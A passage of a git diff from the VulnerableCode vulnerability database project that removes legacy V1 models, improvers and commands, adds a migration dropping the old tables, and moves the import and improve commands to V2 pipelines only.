"0.3m5", - "0.4m1", - "0.4m2", - "0.4m3", - "0.4m4", - "0.4m5", - "0.5m1", - "0.5m2", - "0.5m3", - "0.5m4", - "0.5m5", - "0.6m1", - "0.6m2", - "0.6m3", - "0.6m4", - "0.6m5", - "0.6m6", - "0.7.10p1", - "0.7.11p1", - "0.7.11p2", - "0.7.11p3", - "0.8.1p1", - "0.8.3p1", - "0.8.4p1", - "0.8.4p2", - "0.8.6p1", - "0.8.7p1", - "0.9-doduo", - "0.9-eevee", - "0.9-fearow", - "0.9-gyarados", - "0.9-horsea", - "0.9-ivysaur", - "2013-01-21T20:33:09+0100", - "2013-01-23T17:11:52+0100", - "2013-02-01T20:50:46+0100", - "2013-02-02T19:59:03+0100", - "2013-02-02T20:23:17+0100", - "2013-02-08T17:40:57+0000", - "2013-03-27T16:32:26+0100", - "2013-05-09T12:47:53+0200", - "2013-05-10T17:55:56+0200", - "2013-05-14T20:16:05+0200", - "2013-06-01T10:32:51+0200", - "2013-07-19T09:11:08+0000", - "2013-08-12T21:48:56+0200", - "2013-09-11T19-27-10", - "2013-12-23T17-51-15", - "2014-01-12T15-52-10", - "2.0.1rc2-git", - "3.0.0b3-", - "3.0b6dev-r41684", - "-class.-jw.util.version.Version-", - "vulnerabilities", - ] - ) - - -class NpmImprover(ValidVersionImprover): - importer = NpmImporterPipeline - ignorable_versions = [] - - -class ElixirImprover(ValidVersionImprover): - importer = ElixirSecurityImporter - ignorable_versions = [] - - -class IstioImprover(ValidVersionImprover): - importer = IstioImporter - ignorable_versions = [] - - -class DebianOvalImprover(ValidVersionImprover): - importer = DebianOvalImporter - ignorable_versions = [] - - -class OSSFuzzImprover(ValidVersionImprover): - importer = OSSFuzzImporter - ignorable_versions = [] - - -class RubyImprover(ValidVersionImprover): - importer = RubyImporter - ignorable_versions = [] - - -class GithubOSVImprover(ValidVersionImprover): - importer = GithubOSVImporter - ignorable_versions = [] - - -class CurlImprover(ValidVersionImprover): - importer = CurlImporter - ignorable_versions = [] diff --git a/vulnerabilities/improvers/vulnerability_status.py b/vulnerabilities/improvers/vulnerability_status.py deleted file mode 100644 index 10a640c55..000000000 --- a/vulnerabilities/improvers/vulnerability_status.py +++ /dev/null @@ -1,93 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from typing import Iterable -from urllib.parse import urljoin - -from django.db.models.query import QuerySet - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.improver import Improver -from vulnerabilities.improver import Inference -from vulnerabilities.models import Advisory -from vulnerabilities.models import Alias -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityChangeLog -from vulnerabilities.models import VulnerabilityStatusType -from vulnerabilities.pipelines.nvd_importer import NVDImporterPipeline -from vulnerabilities.utils import fetch_response -from vulnerabilities.utils import get_item - -MITRE_API_URL = "https://cveawg.mitre.org/api/cve/" - - -class VulnerabilityStatusImprover(Improver): - """ - Update vulnerability with NVD statues - """ - - improver_name = "NVD CVE Status Improver" - - @property - def interesting_advisories(self) -> QuerySet: - return Advisory.objects.filter(created_by=NVDImporterPipeline.pipeline_id).iterator( - chunk_size=5000 - ) - - def get_inferences(self, advisory_data: AdvisoryData) -> Iterable[Inference]: - """ - This is a work-around until we have new style importer and improver - and this get_inferences function updates the vulnerability status directly - # TODO: Replace this with new style improvers - """ - if not advisory_data: - return [] - aliases = advisory_data.aliases - # NVD Importer only has one alias in it and this a CVE - assert len(aliases) == 1 - cve_id = aliases[0] - if not cve_id.startswith("CVE"): - return [] - - alias = Alias.objects.get(alias=cve_id) - vulnerabilities = Vulnerability.objects.filter(aliases__alias=alias).distinct() - - for vuln in vulnerabilities: - url = urljoin(MITRE_API_URL, cve_id) - current_status = get_status_from_api(url=url) - if not current_status: - current_status = VulnerabilityStatusType.PUBLISHED - old_status = vuln.status - vuln.status = current_status - if current_status != old_status: - VulnerabilityChangeLog.log_improve( - improver=VulnerabilityStatusImprover.improver_name, - vulnerability=vuln, - source_url=url, - ) - vuln.save() - return [] - - -def get_status_from_api(url): - """ - Return the CVE status from the MITRE API - """ - try: - response = fetch_response(url=url) - except Exception as e: - return - response = response.json() - cve_state = get_item(response, "cveMetadata", "state") or None - tags = get_item(response, "containers", "cna", "tags") or [] - if "disputed" in tags: - return VulnerabilityStatusType.DISPUTED - if cve_state and cve_state == "REJECTED": - return VulnerabilityStatusType.INVALID - return VulnerabilityStatusType.PUBLISHED diff --git a/vulnerabilities/management/commands/export.py b/vulnerabilities/management/commands/export.py deleted file mode 100644 index 17ef4d99f..000000000 --- a/vulnerabilities/management/commands/export.py +++ /dev/null @@ -1,206 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import itertools -import logging -from itertools import groupby -from pathlib import Path -from timeit import default_timer as timer -from traceback import format_exc as traceback_format_exc - -import saneyaml -from aboutcode.pipeline import LoopProgress -from aboutcode.pipeline import humanize_time -from django.core.management.base import BaseCommand -from django.core.management.base import CommandError -from packageurl import PackageURL - -from aboutcode import hashid -from vulnerabilities.models import Package - -logger = logging.getLogger(__name__) - - -def serialize_severity(sev): - return { - "score": sev.value, - "scoring_system": sev.scoring_system, - "scoring_elements": sev.scoring_elements, - "published_at": str(sev.published_at), - "url": sev.url, - } - - -def serialize_vulnerability(vuln): - """ - Return a plain data mapping seralized from ``vuln`` Vulnerability instance. - """ - aliases = list(vuln.aliases.values_list("alias", flat=True)) - severities = [serialize_severity(sev) for sev in vuln.severities.all()] - weaknesses = [wkns.cwe for wkns in vuln.weaknesses.all()] - - references = list( - vuln.references.values( - "url", - "reference_type", - "reference_id", - ) - ) - - return { - "vulnerability_id": vuln.vcid, - "aliases": aliases, - "summary": vuln.summary, - "severities": severities, - "weaknesses": weaknesses, - "references": references, - } - - -class Command(BaseCommand): - help = """Export vulnerability and package data as YAML for use in FederatedCode - - This command exports the data in a tree of directories and YAML files designed such that - it is possible to access directly a vulnerability data file by only knowing its VCID, and that - it is possible to access directly the package data files by only knowing its PURL. - """ - - def add_arguments(self, parser): - parser.add_argument( - "path", - help="Path to a directory where to export data.", - ) - - def handle(self, *args, **options): - if path := options["path"]: - base_path = Path(path) - - if not path or not base_path.is_dir(): - raise CommandError("Enter a valid directory path") - - self.stdout.write("Exporting vulnerablecode Package and Vulnerability data.") - self.export_data(base_path) - self.stdout.write(self.style.SUCCESS(f"Successfully exported data to {base_path}.")) - - def export_data(self, base_path: Path): - """ - Export vulnerablecode data to ``base_path``.` - """ - i = 0 - seen_vcid = set() - export_start_time = timer() - - distinct_packages_count = ( - Package.objects.values("type", "namespace", "name") - .distinct("type", "namespace", "name") - .count() - ) - - progress = LoopProgress( - total_iterations=distinct_packages_count, - progress_step=1, - logger=self.stdout.write, - ) - for i, (purl_without_version, package_versions) in enumerate( - progress.iter(packages_by_type_ns_name()), 1 - ): - pkg_version = None - try: - package_urls = [] - package_vulnerabilities = [] - for pkg_version in package_versions: - purl = pkg_version.package_url - package_urls.append(purl) - package_data = { - "purl": purl, - "affected_by_vulnerabilities": list( - pkg_version.affected_by.values_list("vulnerability_id", flat=True) - ), - "fixing_vulnerabilities": list( - pkg_version.fixing.values_list("vulnerability_id", flat=True) - ), - } - package_vulnerabilities.append(package_data) - - vulnerabilities = itertools.chain( - pkg_version.affected_by_vulnerabilities.all(), - pkg_version.fixing_vulnerabilities.all(), - ) - for vuln in vulnerabilities: - vcid = vuln.vulnerability_id - # do not write twice the same file - if vcid in seen_vcid: - continue - - seen_vcid.add(vcid) - vulnerability = serialize_vulnerability(vuln) - vpath = hashid.get_vcid_yml_file_path(vcid) - write_file(base_path=base_path, file_path=vpath, data=vulnerability) - if (lv := len(seen_vcid)) % 100 == 0: - self.stdout.write(f"Processed {lv} vulnerabilities. Last VCID: {vcid}") - - ppath = hashid.get_package_purls_yml_file_path(purl) - write_file(base_path=base_path, file_path=ppath, data=package_urls) - - pvpath = hashid.get_package_vulnerabilities_yml_file_path(purl) - write_file(base_path=base_path, file_path=pvpath, data=package_vulnerabilities) - - if i % 100 == 0: - self.stdout.write(f"Processed {i} package. Last PURL: {purl_without_version}") - - except Exception as e: - self.stdout.write( - self.style.ERROR( - f"Failed to process Package {pkg_version}: {e!r} \n {traceback_format_exc()}" - ) - ) - - self.stdout.write(f"Exported data for: {i} package and {len(seen_vcid)} vulnerabilities.") - export_run_time = timer() - export_start_time - self.stdout.write(f"Export completed in {humanize_time(export_run_time)}") - - -def by_purl_type_ns_name(package): - """ - Key function to sort packages by type, namespace and name - """ - return package.type, package.namespace, package.name - - -def packages_by_type_ns_name(): - """ - Return a two-level iterator over all Packages grouped-by package, ignoring version. - """ - qs = ( - Package.objects.order_by("type", "namespace", "name", "version") - .prefetch_related( - "affected_by_vulnerabilities", - "affected_by_vulnerabilities__references", - "affected_by_vulnerabilities__weaknesses", - "affected_by_vulnerabilities__severities", - "fixing_vulnerabilities", - "fixing_vulnerabilities__references", - "fixing_vulnerabilities__weaknesses", - "fixing_vulnerabilities__severities", - ) - .iterator(chunk_size=1000) - ) - - for tp_ns_name, packages in groupby(qs, key=by_purl_type_ns_name): - yield PackageURL(*tp_ns_name), packages - - -def write_file(base_path: Path, file_path: Path, data: dict): - """ - Write the ``data`` as YAML to the ``file_path`` in the ``base_path`` root directory. - Create directories in the path as needed. - """ - write_to = base_path / file_path - write_to.parent.mkdir(parents=True, exist_ok=True) - with open(write_to, encoding="utf-8", mode="w") as f: - f.write(saneyaml.dump(data)) diff --git a/vulnerabilities/management/commands/import.py b/vulnerabilities/management/commands/import.py index 78ec8bb0a..ecd2b6b11 100644 --- a/vulnerabilities/management/commands/import.py +++ b/vulnerabilities/management/commands/import.py @@ -6,14 +6,11 @@ # See https://github.com/aboutcode-org/vulnerablecode for support or download. # See https://aboutcode.org for more information about nexB OSS projects. # -import traceback from django.core.management.base import BaseCommand from django.core.management.base import CommandError -from vulnerabilities.import_runner import ImportRunner from vulnerabilities.importers import IMPORTERS_REGISTRY -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipelineV2 @@ -58,31 +55,21 @@ def import_data(self, importers): failed_importers = [] for importer in importers: - if issubclass(importer, VulnerableCodeBaseImporterPipeline) or issubclass( - importer, VulnerableCodeBaseImporterPipelineV2 - ): + if issubclass(importer, VulnerableCodeBaseImporterPipelineV2): self.stdout.write(f"Importing data using {importer.pipeline_id}") status, error = importer().execute() if status != 0: self.stdout.write(error) + self.stdout.write( + self.style.ERROR( + f"Failed to run importer {importer.pipeline_id}. Continuing..." + ) + ) failed_importers.append(importer.pipeline_id) - continue + continue - self.stdout.write(f"Importing data using {importer.qualified_name}") - try: - ImportRunner(importer).run() self.stdout.write( - self.style.SUCCESS( - f"Successfully imported data using {importer.qualified_name}" - ) - ) - except Exception: - failed_importers.append(importer.qualified_name) - traceback.print_exc() - self.stdout.write( - self.style.ERROR( - f"Failed to run importer {importer.qualified_name}. Continuing..." - ) + self.style.SUCCESS(f"Successfully imported data using {importer.pipeline_id}") ) if failed_importers: diff --git a/vulnerabilities/management/commands/improve.py b/vulnerabilities/management/commands/improve.py index 10ba07a27..b6a30cbcb 100644 --- a/vulnerabilities/management/commands/improve.py +++ b/vulnerabilities/management/commands/improve.py @@ -12,7 +12,6 @@ from django.core.management.base import BaseCommand from django.core.management.base import CommandError -from vulnerabilities.improve_runner import ImproveRunner from vulnerabilities.improvers import IMPROVERS_REGISTRY from vulnerabilities.pipelines import VulnerableCodePipeline @@ -61,24 +60,16 @@ def improve_data(self, improvers): status, error = improver().execute() if status != 0: self.stdout.write(error) + self.stdout.write( + self.style.ERROR( + f"Failed to run improver {improver.pipeline_id}. Continuing..." + ) + ) failed_improvers.append(improver.pipeline_id) - continue + continue - self.stdout.write(f"Improving data using {improver.qualified_name}") - try: - ImproveRunner(improver_class=improver).run() self.stdout.write( - self.style.SUCCESS( - f"Successfully improved data using {improver.qualified_name}" - ) - ) - except Exception: - failed_improvers.append(improver.qualified_name) - traceback.print_exc() - self.stdout.write( - self.style.ERROR( - f"Failed to run improver {improver.qualified_name}. Continuing..." - ) + self.style.SUCCESS(f"Successfully improved data using {improver.pipeline_id}") ) if failed_improvers: diff --git a/vulnerabilities/migrations/0064_update_npm_pypa_advisory_created_by.py b/vulnerabilities/migrations/0064_update_npm_pypa_advisory_created_by.py index c4d1e83f3..3e798716f 100644 --- a/vulnerabilities/migrations/0064_update_npm_pypa_advisory_created_by.py +++ b/vulnerabilities/migrations/0064_update_npm_pypa_advisory_created_by.py @@ -9,28 +9,24 @@ def update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.npm_importer import NpmImporterPipeline - from vulnerabilities.pipelines.pypa_importer import PyPaImporterPipeline - Advisory = apps.get_model("vulnerabilities", "Advisory") + #Remove pipeline import path, since we are removing V1/V2 code Advisory.objects.filter(created_by="vulnerabilities.importers.npm.NpmImporter").update( - created_by=NpmImporterPipeline.pipeline_id + created_by="npm_importer" ) Advisory.objects.filter(created_by="vulnerabilities.importers.pypa.PyPaImporter").update( - created_by=PyPaImporterPipeline.pipeline_id + created_by="pypa_importer" ) def reverse_update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.npm_importer import NpmImporterPipeline - from vulnerabilities.pipelines.pypa_importer import PyPaImporterPipeline - Advisory = apps.get_model("vulnerabilities", "Advisory") - Advisory.objects.filter(created_by=NpmImporterPipeline.pipeline_id).update( + #Remove pipeline import path, since we are removing V1/V2 code + Advisory.objects.filter(created_by="npm_importer").update( created_by="vulnerabilities.importers.npm.NpmImporter" ) - Advisory.objects.filter(created_by=PyPaImporterPipeline.pipeline_id).update( + Advisory.objects.filter(created_by="pypa_importer").update( created_by="vulnerabilities.importers.pypa.PyPaImporter" ) diff --git a/vulnerabilities/migrations/0065_update_nginx_advisory_created_by.py b/vulnerabilities/migrations/0065_update_nginx_advisory_created_by.py index 80b43a954..209985e17 100644 --- a/vulnerabilities/migrations/0065_update_nginx_advisory_created_by.py +++ b/vulnerabilities/migrations/0065_update_nginx_advisory_created_by.py @@ -9,20 +9,18 @@ def update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.nginx_importer import NginxImporterPipeline - Advisory = apps.get_model("vulnerabilities", "Advisory") + #Remove pipeline import path, since we are removing V1/V2 code Advisory.objects.filter(created_by="vulnerabilities.importers.nginx.NginxImporter").update( - created_by=NginxImporterPipeline.pipeline_id + created_by="nginx_importer" ) def reverse_update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.nginx_importer import NginxImporterPipeline - + #Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") - Advisory.objects.filter(created_by=NginxImporterPipeline.pipeline_id).update( + Advisory.objects.filter(created_by="nginx_importer").update( created_by="vulnerabilities.importers.nginx.NginxImporter" ) diff --git a/vulnerabilities/migrations/0066_update_gitlab_advisory_created_by.py b/vulnerabilities/migrations/0066_update_gitlab_advisory_created_by.py index e72b0616b..86fe1991d 100644 --- a/vulnerabilities/migrations/0066_update_gitlab_advisory_created_by.py +++ b/vulnerabilities/migrations/0066_update_gitlab_advisory_created_by.py @@ -9,20 +9,18 @@ def update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.gitlab_importer import GitLabImporterPipeline - + #Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") Advisory.objects.filter(created_by="vulnerabilities.importers.gitlab.GitLabAPIImporter").update( - created_by=GitLabImporterPipeline.pipeline_id + created_by="gitlab_importer" ) def reverse_update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.gitlab_importer import GitLabImporterPipeline - + #Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") - Advisory.objects.filter(created_by=GitLabImporterPipeline.pipeline_id).update( + Advisory.objects.filter(created_by="gitlab_importer").update( created_by="vulnerabilities.importers.gitlab.GitLabAPIImporter" ) diff --git a/vulnerabilities/migrations/0067_update_github_advisory_created_by.py b/vulnerabilities/migrations/0067_update_github_advisory_created_by.py index 4b9bb8485..d9ecebb02 100644 --- a/vulnerabilities/migrations/0067_update_github_advisory_created_by.py +++ b/vulnerabilities/migrations/0067_update_github_advisory_created_by.py @@ -9,20 +9,18 @@ def update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.github_importer import GitHubAPIImporterPipeline - + #Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") Advisory.objects.filter(created_by="vulnerabilities.importers.github.GitHubAPIImporter").update( - created_by=GitHubAPIImporterPipeline.pipeline_id + created_by="github_importer" ) def reverse_update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.github_importer import GitHubAPIImporterPipeline - + #Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") - Advisory.objects.filter(created_by=GitHubAPIImporterPipeline.pipeline_id).update( + Advisory.objects.filter(created_by="github_importer").update( created_by="vulnerabilities.importers.github.GitHubAPIImporter" ) diff --git a/vulnerabilities/migrations/0068_update_nvd_advisory_created_by.py b/vulnerabilities/migrations/0068_update_nvd_advisory_created_by.py index 2a91f55ee..a2420c262 100644 --- a/vulnerabilities/migrations/0068_update_nvd_advisory_created_by.py +++ b/vulnerabilities/migrations/0068_update_nvd_advisory_created_by.py @@ -9,20 +9,18 @@ def update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.nvd_importer import NVDImporterPipeline - + #Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") Advisory.objects.filter(created_by="vulnerabilities.importers.nvd.NVDImporter").update( - created_by=NVDImporterPipeline.pipeline_id + created_by="nvd_importer" ) def reverse_update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.nvd_importer import NVDImporterPipeline - + #Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") - Advisory.objects.filter(created_by=NVDImporterPipeline.pipeline_id).update( + Advisory.objects.filter(created_by="nvd_importer").update( created_by="vulnerabilities.importers.nvd.NVDImporter" ) diff --git a/vulnerabilities/migrations/0074_update_pysec_advisory_created_by.py b/vulnerabilities/migrations/0074_update_pysec_advisory_created_by.py index d0e73181a..9ccac640e 100644 --- a/vulnerabilities/migrations/0074_update_pysec_advisory_created_by.py +++ b/vulnerabilities/migrations/0074_update_pysec_advisory_created_by.py @@ -9,19 +9,17 @@ def update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.pysec_importer import PyPIImporterPipeline - + #Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") Advisory.objects.filter(created_by="vulnerabilities.importers.pysec.PyPIImporter").update( - created_by=PyPIImporterPipeline.pipeline_id + created_by="pysec_importer" ) def reverse_update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.pysec_importer import PyPIImporterPipeline - + #Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") - Advisory.objects.filter(created_by=PyPIImporterPipeline.pipeline_id).update( + Advisory.objects.filter(created_by="pysec_importer").update( created_by="vulnerabilities.importers.pysec.PyPIImporter" ) diff --git a/vulnerabilities/migrations/0087_update_alpine_advisory_created_by.py b/vulnerabilities/migrations/0087_update_alpine_advisory_created_by.py index 9b162b09d..3df35ef61 100644 --- a/vulnerabilities/migrations/0087_update_alpine_advisory_created_by.py +++ b/vulnerabilities/migrations/0087_update_alpine_advisory_created_by.py @@ -8,19 +8,17 @@ def update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.alpine_linux_importer import AlpineLinuxImporterPipeline - + # Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") Advisory.objects.filter(created_by="vulnerabilities.importers.alpine_linux.AlpineImporter").update( - created_by=AlpineLinuxImporterPipeline.pipeline_id + created_by="alpine_importer" ) def reverse_update_created_by(apps, schema_editor): - from vulnerabilities.pipelines.alpine_linux_importer import AlpineLinuxImporterPipeline - + # Remove pipeline import path, since we are removing V1/V2 code Advisory = apps.get_model("vulnerabilities", "Advisory") - Advisory.objects.filter(created_by=AlpineLinuxImporterPipeline.pipeline_id).update( + Advisory.objects.filter(created_by="alpine_importer").update( created_by="vulnerabilities.importers.alpine_linux.AlpineImporter" ) diff --git a/vulnerabilities/migrations/0145_remove_advisoryrelatedalias_advisory_and_more.py b/vulnerabilities/migrations/0145_remove_advisoryrelatedalias_advisory_and_more.py new file mode 100644 index 000000000..9d4e18bd8 --- /dev/null +++ b/vulnerabilities/migrations/0145_remove_advisoryrelatedalias_advisory_and_more.py @@ -0,0 +1,79 @@ +# Generated by Django 5.2.11 on 2026-10-12 08:32 + +from django.db import migrations + +# V1 models/tables removed in favor of AdvisoryV2 / PackageV2. +# Use SeparateDatabaseAndState so: +# - state is updated with DeleteModel +# - database uses DROP TABLE IF EXISTS (tables may already be gone on some envs) +# Autogenerated RemoveField + AlterUniqueTogether ordering is invalid and fails +# when fields are removed before unique_together is cleared, or when tables are +# already missing. + +V1_TABLES = [ + # Through / join tables first + "vulnerabilities_advisoryrelatedalias", + "vulnerabilities_todorelatedadvisory", + "vulnerabilities_affectedbypackagerelatedvulnerabilit_severities", + "vulnerabilities_affectedbypackagerelatedvulnerability", + "vulnerabilities_fixingpackagerelatedvulnerability", + "vulnerabilities_vulnerabilityrelatedreference", + "vulnerabilities_weakness_vulnerabilities", + "vulnerabilities_vulnerabilityreference_vulnerabilities", + "vulnerabilities_vulnerability_severities", + "vulnerabilities_vulnerability_references", + # Dependent models + "vulnerabilities_codefix", + "vulnerabilities_exploit", + "vulnerabilities_packagechangelog", + "vulnerabilities_vulnerabilitychangelog", + "vulnerabilities_alias", + "vulnerabilities_weakness", + "vulnerabilities_vulnerabilityseverity", + "vulnerabilities_vulnerabilityreference", + "vulnerabilities_advisorytodo", + "vulnerabilities_package", + "vulnerabilities_advisory", + "vulnerabilities_vulnerability", +] + + +def drop_v1_tables(apps, schema_editor): + quote = schema_editor.quote_name + with schema_editor.connection.cursor() as cursor: + for table in V1_TABLES: + cursor.execute(f"DROP TABLE IF EXISTS {quote(table)} CASCADE") + + +class Migration(migrations.Migration): + + dependencies = [ + ("vulnerabilities", "0144_remove_advisoryv2_advisory_latest_by_avid_idx_and_more"), + ] + + operations = [ + migrations.SeparateDatabaseAndState( + database_operations=[ + migrations.RunPython(drop_v1_tables, migrations.RunPython.noop), + ], + state_operations=[ + migrations.DeleteModel(name="AdvisoryRelatedAlias"), + migrations.DeleteModel(name="ToDoRelatedAdvisory"), + migrations.DeleteModel(name="AdvisoryToDo"), + migrations.DeleteModel(name="AffectedByPackageRelatedVulnerability"), + migrations.DeleteModel(name="FixingPackageRelatedVulnerability"), + migrations.DeleteModel(name="VulnerabilityRelatedReference"), + migrations.DeleteModel(name="CodeFix"), + migrations.DeleteModel(name="Exploit"), + migrations.DeleteModel(name="PackageChangeLog"), + migrations.DeleteModel(name="VulnerabilityChangeLog"), + migrations.DeleteModel(name="Alias"), + migrations.DeleteModel(name="Weakness"), + migrations.DeleteModel(name="VulnerabilitySeverity"), + migrations.DeleteModel(name="VulnerabilityReference"), + migrations.DeleteModel(name="Package"), + migrations.DeleteModel(name="Advisory"), + migrations.DeleteModel(name="Vulnerability"), + ], + ), + ] diff --git a/vulnerabilities/models.py b/vulnerabilities/models.py index 521f0ca6a..8eabfe96e 100644 --- a/vulnerabilities/models.py +++ b/vulnerabilities/models.py @@ -7,16 +7,12 @@ # See https://aboutcode.org for more information about nexB OSS projects. # -import csv import datetime import logging import uuid -import xml.etree.ElementTree as ET from contextlib import suppress from functools import cached_property from inspect import cleandoc -from itertools import groupby -from operator import attrgetter from traceback import format_exc as traceback_format_exc from typing import Dict from typing import List @@ -28,12 +24,7 @@ import django_rq import redis -from cvss.exceptions import CVSS2MalformedError -from cvss.exceptions import CVSS3MalformedError -from cvss.exceptions import CVSS4MalformedError from cwe2.database import Database -from cwe2.mappings import xml_database_path -from cwe2.weakness import Weakness as DBWeakness from django.contrib.auth import get_user_model from django.contrib.auth.models import UserManager from django.core import exceptions @@ -42,12 +33,9 @@ from django.core.validators import MaxValueValidator from django.core.validators import MinValueValidator from django.db import models -from django.db import transaction from django.db.models import Count from django.db.models import Exists -from django.db.models import F from django.db.models import OuterRef -from django.db.models import Prefetch from django.db.models import Q from django.db.models import Subquery from django.db.models.functions import Length @@ -69,14 +57,11 @@ import vulnerablecode from vulnerabilities import utils from vulnerabilities.importer import AdvisoryDataV2 -from vulnerabilities.severity_systems import EPSS from vulnerabilities.severity_systems import SCORING_SYSTEMS from vulnerabilities.utils import compute_patch_checksum from vulnerabilities.utils import normalize_list from vulnerabilities.utils import normalize_purl -from vulnerabilities.utils import normalize_text from vulnerabilities.utils import purl_to_dict -from vulnerablecode import __version__ as VULNERABLECODE_VERSION from vulnerablecode.settings import VULNERABLECODE_PIPELINE_TIMEOUT logger = logging.getLogger(__name__) @@ -111,1756 +96,94 @@ def paginated(self, per_page=5000): yield obj -class VulnerabilityQuerySet(BaseQuerySet): - def affecting_vulnerabilities(self): - """ - Return a queryset of Vulnerability that affect a package. - """ - return self.filter(affecting_packages__isnull=False) - - def with_cpes(self): - """ - Return a queryset of Vulnerability that have one or more NVD CPE references. - """ - return self.filter(vulnerabilityreference__reference_id__startswith="cpe") - - def for_cpe(self, cpe): - """ - Return a queryset of Vulnerability that have the ``cpe`` as an NVD CPE reference. - """ - return self.filter(vulnerabilityreference__reference_id__exact=cpe) - - def with_cves(self): - """ - Return a queryset of Vulnerability that have one or more NVD CVE aliases. - """ - return self.filter(aliases__alias__startswith="CVE") - - def for_cve(self, cve): - """ - Return a queryset of Vulnerability that have the the NVD CVE ``cve`` as an alias. - """ - return self.filter(vulnerabilityreference__reference_id__exact=cve) - - def with_packages(self): - """ - Return a queryset of Vulnerability that have one or more related packages. - """ - return self.filter(packages__isnull=False) - - def search(self, query: str = None): - """ - Return a Vulnerability queryset searching for the ``query``. - Make a best effort approach to search a vulnerability using various heuristics. - """ - - query = query and query.strip() - if not query: - return self.none() - - qs = self - - # middle ground, exact on vulnerability_id - qssearch = qs.filter(vulnerability_id=query) - if not qssearch.exists(): - # middle ground, exact on alias - qssearch = qs.filter(aliases__alias=query) - if not qssearch.exists(): - # middle ground, slow enough - qssearch = qs.filter( - Q(vulnerability_id__icontains=query) | Q(aliases__alias__icontains=query) - ) - if not qssearch.exists(): - # last resort super slow - qssearch = qs.filter( - Q(references__id__icontains=query) | Q(summary__icontains=query) - ) - - return qssearch.order_by("vulnerability_id") - - def with_package_counts(self): - return self.annotate( - vulnerable_package_count=Count("affecting_packages", distinct=True), - patched_package_count=Count("fixed_by_packages", distinct=True), - ) - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class VulnerabilitySeverity(models.Model): - url = models.URLField( - max_length=1024, - null=True, - help_text="URL to the vulnerability severity", - db_index=True, - ) - - scoring_system_choices = tuple( - (system.identifier, system.name) for system in SCORING_SYSTEMS.values() - ) - - scoring_system = models.CharField( - max_length=50, - choices=scoring_system_choices, - help_text="Identifier for the scoring system used. Available choices are: {} ".format( - ",\n".join(f"{sid}: {sname}" for sid, sname in scoring_system_choices) - ), - ) - - value = models.CharField(max_length=50, help_text="Example: 9.0, Important, High") - - scoring_elements = models.CharField( - max_length=250, - null=True, - help_text="Supporting scoring elements used to compute the score values. " - "For example a CVSS vector string as used to compute a CVSS score.", - ) - - published_at = models.DateTimeField( - blank=True, null=True, help_text="UTC Date of publication of the vulnerability severity" - ) - - objects = BaseQuerySet.as_manager() - - class Meta: - verbose_name_plural = "Vulnerability severities" - ordering = ["url", "scoring_system", "value"] - - # FIXME: Remove when migration from Vulnerability to Advisory is completed class VulnerabilityStatusType(models.IntegerChoices): """List of vulnerability statuses.""" - PUBLISHED = 1, "Published" - DISPUTED = 2, "Disputed" - INVALID = 3, "Invalid" - - -class AdvisoryStatusType(models.IntegerChoices): - """List of vulnerability statuses.""" - - PUBLISHED = 1, "Published" - DISPUTED = 2, "Disputed" - INVALID = 3, "Invalid" - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class Vulnerability(models.Model): - """ - A software vulnerability with a unique identifier and alternate ``aliases``. - """ - - vulnerability_id = models.CharField( - unique=True, - blank=True, - max_length=20, - default=utils.build_vcid, - help_text="Unique identifier for a vulnerability in the external representation. " - "It is prefixed with VCID-", - db_index=True, - ) - - summary = models.TextField( - help_text="Summary of the vulnerability", - blank=True, - ) - - references = models.ManyToManyField( - to="VulnerabilityReference", through="VulnerabilityRelatedReference" - ) - - affecting_packages = models.ManyToManyField( - to="Package", - through="AffectedByPackageRelatedVulnerability", - ) - - fixed_by_packages = models.ManyToManyField( - to="Package", - through="FixingPackageRelatedVulnerability", - related_name="fixing_vulnerabilities", # Unique related_name - ) - - status = models.IntegerField( - choices=VulnerabilityStatusType.choices, default=VulnerabilityStatusType.PUBLISHED - ) - - severities = models.ManyToManyField( - VulnerabilitySeverity, - related_name="vulnerabilities", - ) - - exploitability = models.DecimalField( - null=True, - max_digits=2, - decimal_places=1, - help_text="Exploitability indicates the likelihood that a vulnerability in a software package could be used by malicious actors to compromise systems, " - "applications, or networks. This metric is determined automatically based on the discovery of known exploits.", - ) - - weighted_severity = 